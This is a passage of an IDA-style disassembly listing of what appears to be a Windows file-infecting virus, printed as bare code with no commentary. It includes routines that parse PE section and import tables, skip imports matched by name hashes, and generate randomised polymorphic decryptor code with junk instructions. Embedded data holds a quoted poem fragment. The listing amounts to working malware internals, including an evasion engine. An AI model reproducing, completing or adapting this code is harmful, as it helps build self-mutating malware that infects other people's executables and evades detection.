		dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h
		dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h
		dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh
		dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h
		dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h
		dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh
		dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh,	95FF5424h
		dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh
		dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h
		dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h
		dd 4A12014Ah, 34A1202h,	824440Bh, 0C10FE180h, 0B5108E0h
		dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h
		dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh
		dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h
		dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h,	5, 0A642526h
		dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h
		dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h,	84B58D54h
		dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h
		dd 103F4295h, 0F88300h,	8B912F7Eh, 84B58DFEh, 0B000103Fh
		dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h
		dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h
		dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h
		dd 10418385h, 8E90000h,	0C7FFFFFEh, 10158885h, 0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 30C78404h
		dd 18D5DBCEh, 0C26CCC5Ch, 10A61429h, 0F8C4A684h, 864F88CEh
		dd 40375248h, 606E7FAFh, 0BD4000FEh, 0BEF65387h, 0D8B8B352h
		dd 9C77466h, 14h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40B4E8	proc near		; CODE XREF: sub_40B59E:loc_40B58Cp
					; sub_40B5EF+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+1042F4h], 0
		and	dword ptr [ebp+1042F8h], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_40B504:				; CODE XREF: sub_40B4E8+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_40B526
		cmp	eax, [edx+8]
		jnb	short loc_40B526
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+1042F4h], edx
		mov	[ebp+1042F8h], eax
		jmp	short loc_40B52B
; ---------------------------------------------------------------------------


loc_40B526:				; CODE XREF: sub_40B4E8+23j
					; sub_40B4E8+28j
		add	edx, 28h
		loop	loc_40B504


loc_40B52B:				; CODE XREF: sub_40B4E8+3Cj
		popa
		retn	4
sub_40B4E8	endp

; ---------------------------------------------------------------------------
		mov	[ebp+102467h], al
		call	sub_40B59E
		push	20h
		lea	eax, [ebp+102394h]
		pop	ecx


loc_40B546:				; CODE XREF: __u_____:0040B54Dj
		cmp	[eax], ebx
		jz	short loc_40B556
		add	eax, 4
		loop	loc_40B546
		inc	dword ptr [ebp+1042D0h]
		retn
; ---------------------------------------------------------------------------


loc_40B556:				; CODE XREF: __u_____:0040B548j
		neg	ecx
		add	ecx, [ebp+102467h]
		jecxz	short loc_40B570


loc_40B560:				; CODE XREF: __u_____:0040B568j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_40B560
		mov	[ebp+102394h], ebx
; START	OF FUNCTION CHUNK FOR sub_40B59E


loc_40B570:				; CODE XREF: __u_____:0040B55Ej
					; sub_40B59E+34j
		cmp	dword ptr [edx], 0
		jz	short loc_40B57A
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_40B57A:				; CODE XREF: sub_40B59E-2Bj
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_40B589
		push	dword ptr [edx]
		jmp	short loc_40B58C
; ---------------------------------------------------------------------------


loc_40B589:				; CODE XREF: sub_40B59E-1Bj
		push	dword ptr [edx+10h]


loc_40B58C:				; CODE XREF: sub_40B59E-17j
		call	sub_40B4E8
		sub	ecx, esi
		sub	ecx, [ebp+1042F8h]
		pop	eax
		add	ecx, [ebx+34h]
		retn
; END OF FUNCTION CHUNK	FOR sub_40B59E

; =============== S U B	R O U T	I N E =======================================



sub_40B59E	proc near		; CODE XREF: __u_____:0040B535p

; FUNCTION CHUNK AT 0040B570 SIZE 0000002E BYTES

		pop	dword ptr [ebp+1042D4h]
		mov	dword ptr [ebp+1042D0h], 0
		call	sub_40B5EF
		mov	eax, [ebp+1042D0h]
		call	near ptr dword_40AC24+43h
		call	sub_40B5DB
		cmp	dword ptr [ebp+1042D0h], 0
		jnz	short loc_40B5D4
		mov	[ebp+102410h], ebx
		jmp	short loc_40B570
; ---------------------------------------------------------------------------


loc_40B5D4:				; CODE XREF: sub_40B59E+2Cj
		dec	dword ptr [ebp+1042D0h]
		retn
sub_40B59E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B5DB	proc near		; CODE XREF: sub_40B59E+20p
		pop	dword ptr [ebp+1042D4h]
		mov	[ebp+1042D0h], edx
		call	sub_40B5EF
		xor	ecx, ecx
		retn
sub_40B5DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B5EF	proc near		; CODE XREF: sub_40B59E+10p
					; sub_40B5DB+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_40B4E8
		add	edx, [ebp+1042F8h]
		add	edx, esi


loc_40B603:				; CODE XREF: sub_40B5EF+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_40B714
		cmp	dword ptr [edx+10h], 0
		jz	locret_40B714
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_40B4E8
		add	eax, [ebp+1042F8h]
		add	eax, esi
		push	eax


loc_40B629:				; CODE XREF: sub_40B5EF+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_40B649
		cmp	cl, 2Eh
		jz	short loc_40B638


loc_40B635:				; CODE XREF: sub_40B5EF+58j
		inc	eax
		jmp	short loc_40B629
; ---------------------------------------------------------------------------


loc_40B638:				; CODE XREF: sub_40B5EF+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_40B635


loc_40B649:				; CODE XREF: sub_40B5EF+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_40B70C
		cmp	word ptr [eax-2], 3233h
		jnz	loc_40B70C
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_40B66C
		mov	ecx, [edx+10h]
		jmp	short loc_40B66E
; ---------------------------------------------------------------------------


loc_40B66C:				; CODE XREF: sub_40B5EF+76j
		mov	ecx, [edx]


loc_40B66E:				; CODE XREF: sub_40B5EF+7Bj
		add	esi, ecx
		push	ecx
		call	sub_40B4E8
		add	esi, [ebp+1042F8h]


loc_40B67C:				; CODE XREF: sub_40B5EF+90j
					; sub_40B5EF+117j
		lodsd
		test	eax, eax
		js	short loc_40B67C
		jz	loc_40B70B
		push	dword ptr [ebp+1042F8h]
		push	eax
		call	sub_40B4E8
		add	eax, [ebp+1042F8h]
		pop	dword ptr [ebp+1042F8h]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_40B6A8:				; CODE XREF: sub_40B5EF+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_40B6BF
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_40B6A8
; ---------------------------------------------------------------------------


loc_40B6BF:				; CODE XREF: sub_40B5EF+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_40B705
		cmp	ebx, 0DB6E45A8h
		jz	short loc_40B705
		cmp	ebx, 0FFA13B59h
		jz	short loc_40B705
		cmp	ebx, 0ACB522D6h
		jz	short loc_40B705
		cmp	ebx, 0F358E993h
		jz	short loc_40B705
		cmp	ebx, 0F358E97Dh
		jz	short loc_40B705
		cmp	ebx, 0E1253F46h
		jz	short loc_40B705
		cmp	ebx, 0E1253F30h
		jz	short loc_40B705
		call	dword ptr [ebp+1042D4h]


loc_40B705:				; CODE XREF: sub_40B5EF+D6j
					; sub_40B5EF+DEj ...
		pop	ebx
		jmp	loc_40B67C
; ---------------------------------------------------------------------------


loc_40B70B:				; CODE XREF: sub_40B5EF+92j
		pop	esi


loc_40B70C:				; CODE XREF: sub_40B5EF+60j
					; sub_40B5EF+6Cj
		add	edx, 14h
		jmp	loc_40B603
; ---------------------------------------------------------------------------

locret_40B714:				; CODE XREF: sub_40B5EF+18j
					; sub_40B5EF+22j
		retn
sub_40B5EF	endp

; ---------------------------------------------------------------------------
		db 2, 6Ah, 4
		dd 0F549E858h, 9588FFFFh, 102641h, 1831B866h, 0E4C0E202h
		dd 66E20203h, 58066AABh, 0FFF52EE8h, 8C283FFh, 56AD187h
		dd 0F521E858h, 0FA80FFFFh, 0B00B7303h, 41850250h, 0AA001026h
		dd 686A27EBh, 0FA80AA58h, 0B0187503h, 0F501E811h, 1B8FFFFh
		dd 84000000h, 0D10D74D2h, 0EBCAFEE0h, 0B805EBF6h, 80000000h
		dd 0C3BFE2ABh, 39CC958Dh, 0D72B0010h, 0F7C3DAF7h, 1039C085h
		dd 0
; ---------------------------------------------------------------------------
		adc	[edi], cl
		xchg	eax, ebp
		rol	cl, 0E0h
		or	esi, esi
		test	[esi+1001039h],	edi
		jnz	short loc_40B7AA
		or	ax, 2589h
		jmp	short loc_40B7BD
; ---------------------------------------------------------------------------


loc_40B7AA:				; CODE XREF: __u_____:0040B7A2j
		test	byte ptr [ebp+1039BEh],	2
		jnz	short loc_40B7B9
		or	ax, 2531h
		jmp	short loc_40B7BD
; ---------------------------------------------------------------------------


loc_40B7B9:				; CODE XREF: __u_____:0040B7B1j
		or	ax, 2501h


loc_40B7BD:				; CODE XREF: __u_____:0040B7A8j
					; __u_____:0040B7B7j
		stosw
		call	near ptr dword_40B718+68h
		mov	eax, [ebx+34h]
		mov	[ebp+1042E8h], edx
		stosd
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B7CF	proc near		; CODE XREF: __u_____:0040BE1Bp
		test	dword ptr [ebp+1039C0h], 10000000h
		setnz	al
		add	al, 0BCh
		stosb
		call	near ptr dword_40B718+68h
		mov	[ebp+1042ECh], edx
		test	byte ptr [ebp+1039BEh],	1
		jnz	short loc_40B7F7
		rdtsc
		jmp	short loc_40B7F9
; ---------------------------------------------------------------------------


loc_40B7F7:				; CODE XREF: sub_40B7CF+22j
		sub	eax, eax


loc_40B7F9:				; CODE XREF: sub_40B7CF+26j
		stosd
		retn
sub_40B7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7FB	proc near		; CODE XREF: __u_____:loc_40BE25p
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_40B82E
		mov	al, [ebp+1039BAh]
		shl	eax, 0Bh
		or	ax, 458Bh
		stosw
		mov	al, 0F8h
		stosb
		mov	al, [ebp+1039BAh]
		shl	eax, 1Bh
		add	eax, 6896467h
		stosd
		xor	eax, eax
		stosw
		jmp	short locret_40B840
; ---------------------------------------------------------------------------


loc_40B82E:				; CODE XREF: sub_40B7FB+Aj
		mov	eax, 58F64h
		stosd
		mov	al, [ebp+1039BAh]
		add	al, 58h
		shl	eax, 18h
		stosd

locret_40B840:				; CODE XREF: sub_40B7FB+31j
		retn
sub_40B7FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B841	proc near		; CODE XREF: sub_40B8B3:loc_40B8DAp
					; sub_40B8B3+4Cp ...
		mov	byte ptr [ebp+10279Ch],	9
		jmp	short loc_40B86F
; ---------------------------------------------------------------------------


loc_40B84A:				; CODE XREF: sub_40B841+44j
		mov	al, 0FCh
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B84E:				; CODE XREF: sub_40B841+48j
		mov	ax, 0EBh
		stosw
		jmp	short loc_40B86F
; ---------------------------------------------------------------------------


loc_40B856:				; CODE XREF: sub_40B841+4Cj
		push	4
		pop	eax
		call	near ptr dword_40AC24+43h
		lea	eax, [edx+edx*8]
		shl	eax, 8
		add	ax, 0C089h
		stosw
		jmp	short loc_40B86F
; ---------------------------------------------------------------------------


loc_40B86C:				; CODE XREF: sub_40B841+50j
		mov	al, 90h


loc_40B86E:				; CODE XREF: sub_40B841+Bj
					; sub_40B841+60j ...
		stosb


loc_40B86F:				; CODE XREF: sub_40B841+7j
					; sub_40B841+13j ...
		push	27h
		pop	eax
		call	near ptr dword_40AC24+43h
		add	byte ptr [ebp+10279Ch],	6
		cmp	dl, 8
		jnb	short locret_40B8B2
		test	dl, dl
		jz	short loc_40B84A
		dec	dl
		jz	short loc_40B84E
		dec	dl
		jz	short loc_40B856
		dec	dl
		jz	short loc_40B86C
		dec	dl
		jz	short loc_40B8A3
		dec	dl
		jz	short loc_40B8AA
		dec	dl
		jz	short loc_40B8AE
		mov	al, 0F9h
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B8A3:				; CODE XREF: sub_40B841+54j
		mov	al, 87h
		stosb
		mov	al, 0DBh
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B8AA:				; CODE XREF: sub_40B841+58j
		mov	al, 0F5h
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B8AE:				; CODE XREF: sub_40B841+5Cj
		mov	al, 0F8h
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------

locret_40B8B2:				; CODE XREF: sub_40B841+40j
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8B3	proc near		; CODE XREF: __u_____:loc_40BCFCp
					; __u_____:0040BEAFp
		test	dword ptr [ebp+1039C0h], 2000h
		mov	al, 86h
		jnz	short loc_40B8C3
		add	al, 4


loc_40B8C3:				; CODE XREF: sub_40B8B3+Cj
		lea	ecx, [edi-2]
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short loc_40B8DA
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_40B8DA:				; CODE XREF: sub_40B8B3+1Ej
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 4000h
		mov	ax, 3166h
		jnz	short loc_40B8F1
		mov	ah, 29h


loc_40B8F1:				; CODE XREF: sub_40B8B3+3Aj
		stosw
		mov	al, 18h
		or	al, [ebp+1039BAh]
		shl	al, 3
		stosb
		call	sub_40B841
		mov	al, 88h
		test	dword ptr [ebp+1039C0h], 8000h
		jnz	short loc_40B914
		mov	al, 86h


loc_40B914:				; CODE XREF: sub_40B8B3+5Dj
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short locret_40B928
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb

locret_40B928:				; CODE XREF: sub_40B8B3+6Cj
		retn
sub_40B8B3	endp

; ---------------------------------------------------------------------------


loc_40B929:				; CODE XREF: sub_40C52F+183p
		lea	edi, [ebp+1039CCh]
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short near ptr unk_40B943
		mov	al, 60h
		stosb
; ---------------------------------------------------------------------------
unk_40B943	db 0F7h	; ÷		; CODE XREF: __u_____:0040B93Ej
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		adc	[edi+eax-48h], dh
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 2
		dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h
		dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h
		dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h
		dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh
		dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h
		dd 1039C085h, 300h, 0F6137400h,	1039BE85h, 0A748000h, 0FFFDAAE8h
		dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h
		dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah
		dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh
		dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h
		dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh
		dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h
		dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h
		dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh
		dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh
		dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh
		dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h
		dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h
		dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh,	0FD4BE8ABh
		dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh
		dd 1039BAh, 4C0048Dh, 8E0C140h,	0AB668DB0h, 57AA01B0h
		dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h
		dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h
		dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h
		dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0
		dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh
		dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh,	1039B8h
		dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h
		dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h,	42C8BD89h
		dd 0F7AB0010h, 1039C085h, 0
; ---------------------------------------------------------------------------
		inc	eax
		jnz	short loc_40BBD4
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb


loc_40BBD4:				; CODE XREF: __u_____:0040BBC9j
		test	dword ptr [ebp+1039C0h], 80h
		jnz	short loc_40BBEB
		mov	al, 0B8h
		or	al, [ebp+1039B9h]
		stosb
		jmp	short loc_40BC28
; ---------------------------------------------------------------------------


loc_40BBEB:				; CODE XREF: __u_____:0040BBDEj
		mov	ax, 1831h
		test	dword ptr [ebp+1039C0h], 100h
		jz	short loc_40BBFD
		mov	al, 29h


loc_40BBFD:				; CODE XREF: __u_____:0040BBF9j
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+1039C0h], 200h
		jnz	short loc_40BC20
		mov	ah, 0C8h


loc_40BC20:				; CODE XREF: __u_____:0040BC1Cj
		or	ah, [ebp+1039B9h]
		stosw


loc_40BC28:				; CODE XREF: __u_____:0040BBE9j
		mov	[ebp+1042E4h], edi
		mov	eax, 29CCh
		stosd
		test	dword ptr [ebp+1039C0h], 8
		jz	short loc_40BCB1
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 400h
		jnz	short loc_40BC5C
		mov	al, 0B8h
		or	al, [ebp+1039BAh]
		stosb
		jmp	short loc_40BCA9
; ---------------------------------------------------------------------------


loc_40BC5C:				; CODE XREF: __u_____:0040BC4Fj
		test	dword ptr [ebp+1039C0h], 800h
		jnz	short loc_40BC79
		mov	ax, 0E083h
		or	ah, [ebp+1039BAh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_40BC8E
; ---------------------------------------------------------------------------


loc_40BC79:				; CODE XREF: __u_____:0040BC66j
		mov	ax, 1829h
		or	ah, [ebp+1039BAh]
		shl	ah, 3
		or	ah, [ebp+1039BAh]
		stosw


loc_40BC8E:				; CODE XREF: __u_____:0040BC77j
		test	dword ptr [ebp+1039C0h], 1000h
		mov	ax, 0C081h
		jz	short loc_40BCA1
		add	ah, 8


loc_40BCA1:				; CODE XREF: __u_____:0040BC9Cj
		or	ah, [ebp+1039BAh]
		stosw


loc_40BCA9:				; CODE XREF: __u_____:0040BC5Aj
		movzx	eax, byte ptr [ebp+1039BEh]
		stosd


loc_40BCB1:				; CODE XREF: __u_____:0040BC3Ej
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 40000000h
		jz	short loc_40BCD0
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_40B841


loc_40BCD0:				; CODE XREF: __u_____:0040BCC0j
		lea	ecx, [edi-2]
		mov	[ebp+1042CCh], ecx
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_40BCFC
		mov	al, 0E8h
		stosb
		mov	eax, [ebp+1042F0h]
		sub	eax, edi
		sub	eax, 4
		stosd
		mov	[ebp+1042F0h], edi
		jmp	short loc_40BD01
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: __u_____:0040BCE3j
		call	sub_40B8B3


loc_40BD01:				; CODE XREF: __u_____:0040BCFAj
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 10000h
		jnz	short loc_40BD1D
		mov	al, 40h
		or	al, [ebp+1039B8h]
		stosb
		jmp	short loc_40BD2C
; ---------------------------------------------------------------------------


loc_40BD1D:				; CODE XREF: __u_____:0040BD10j
		mov	ax, 0C083h
		or	ah, [ebp+1039B8h]
		stosw
		mov	al, 1
		stosb


loc_40BD2C:				; CODE XREF: __u_____:0040BD1Bj
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_40BD67
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_40BD5E
		mov	al, 0C0h
		or	al, [ebp+1039BAh]
		mov	ah, [ebp+1039BFh]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_40BD66
; ---------------------------------------------------------------------------


loc_40BD5E:				; CODE XREF: __u_____:0040BD42j
		mov	al, 40h
		or	al, [ebp+1039BAh]


loc_40BD66:				; CODE XREF: __u_____:0040BD5Cj
		stosb


loc_40BD67:				; CODE XREF: __u_____:0040BD36j
		test	dword ptr [ebp+1039C0h], 80000h
		jnz	short loc_40BD83
		mov	ax, 0E883h
		or	ah, [ebp+1039B9h]
		stosw
		mov	al, 1
		jmp	short loc_40BD8B
; ---------------------------------------------------------------------------


loc_40BD83:				; CODE XREF: __u_____:0040BD71j
		mov	al, 48h
		or	al, [ebp+1039B9h]


loc_40BD8B:				; CODE XREF: __u_____:0040BD81j
		stosb
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 100000h
		mov	cl, 75h
		jnz	short loc_40BDC4
		mov	ax, 0F883h
		or	ah, [ebp+1039B9h]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+1042CCh], edi
		test	dword ptr [ebp+1039C0h], 200000h
		jnz	short loc_40BDDF
		mov	cl, 77h
		jmp	short loc_40BDDF
; ---------------------------------------------------------------------------


loc_40BDC4:				; CODE XREF: __u_____:0040BD9Dj
		mov	ax, 1809h
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		sub	[ebp+1042CCh], edi


loc_40BDDF:				; CODE XREF: __u_____:0040BDBEj
					; __u_____:0040BDC2j
		mov	al, cl
		mov	ah, [ebp+1042CCh]
		stosw
		mov	al, 58h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_40BE2F
		test	dword ptr [ebp+1039C0h], 8000000h
		jnz	short loc_40BE2F
		test	dword ptr [ebp+1039C0h], 6000000h
		jnz	short loc_40BE25
		call	sub_40B7CF
		call	sub_40B841


loc_40BE25:				; CODE XREF: __u_____:0040BE19j
		call	sub_40B7FB
		call	sub_40B841


loc_40BE2F:				; CODE XREF: __u_____:0040BE01j
					; __u_____:0040BE0Dj
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_40BE43
		mov	al, 0C9h
		stosb
		call	sub_40B841


loc_40BE43:				; CODE XREF: __u_____:0040BE39j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_40BE79
		mov	al, 7
		sub	al, [ebp+1039B8h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+1039B8h]
		shl	ah, 3
		add	ah, 4
		stosd
		call	sub_40B841
		mov	al, 61h
		stosb
		call	sub_40B841


loc_40BE79:				; CODE XREF: __u_____:0040BE4Dj
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]
		stosw
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 20h
		jz	short loc_40BF05
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_40BEC1
		mov	eax, edi
		mov	ecx, [ebp+1042F0h]
		sub	eax, ecx
		mov	[ecx-4], eax
		call	sub_40B8B3
		call	sub_40B841
		mov	al, 0C3h
		stosb
		call	sub_40B841


loc_40BEC1:				; CODE XREF: __u_____:0040BEA0j
		mov	eax, edi
		mov	ecx, [ebp+1042C4h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+1039B8h]
		stosb
		call	sub_40B841
		test	dword ptr [ebp+1039C0h], 800000h
		jz	short loc_40BEF4
		mov	ax, 0C350h
		or	al, [ebp+1039B8h]
		jmp	short loc_40BEFE
; ---------------------------------------------------------------------------


loc_40BEF4:				; CODE XREF: __u_____:0040BEE6j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]


loc_40BEFE:				; CODE XREF: __u_____:0040BEF2j
		stosw
		call	sub_40B841


loc_40BF05:				; CODE XREF: __u_____:0040BE94j
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_40BF70
		mov	ecx, edi
		mov	eax, [ebp+1042DCh]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+1039C0h], 1000000h
		jnz	short loc_40BF3A
		lea	eax, [ebp+1039B8h]


loc_40BF32:				; CODE XREF: __u_____:0040BF38j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_40BF32


loc_40BF3A:				; CODE XREF: __u_____:0040BF2Aj
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_40BF4F
		mov	ax, 0C031h
		stosw


loc_40BF4F:				; CODE XREF: __u_____:0040BF47j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_40BF68
		mov	ax, 0C031h
		stosw


loc_40BF68:				; CODE XREF: __u_____:0040BF60j
		mov	al, 0C3h
		stosb
		call	sub_40B841


loc_40BF70:				; CODE XREF: __u_____:0040BF0Fj
		lea	eax, [ebp+1039CCh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_40BF88
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_40BFA1
; ---------------------------------------------------------------------------


loc_40BF88:				; CODE XREF: __u_____:0040BF80j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_40BFA1:				; CODE XREF: __u_____:0040BF86j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_40BFC1
		neg	eax


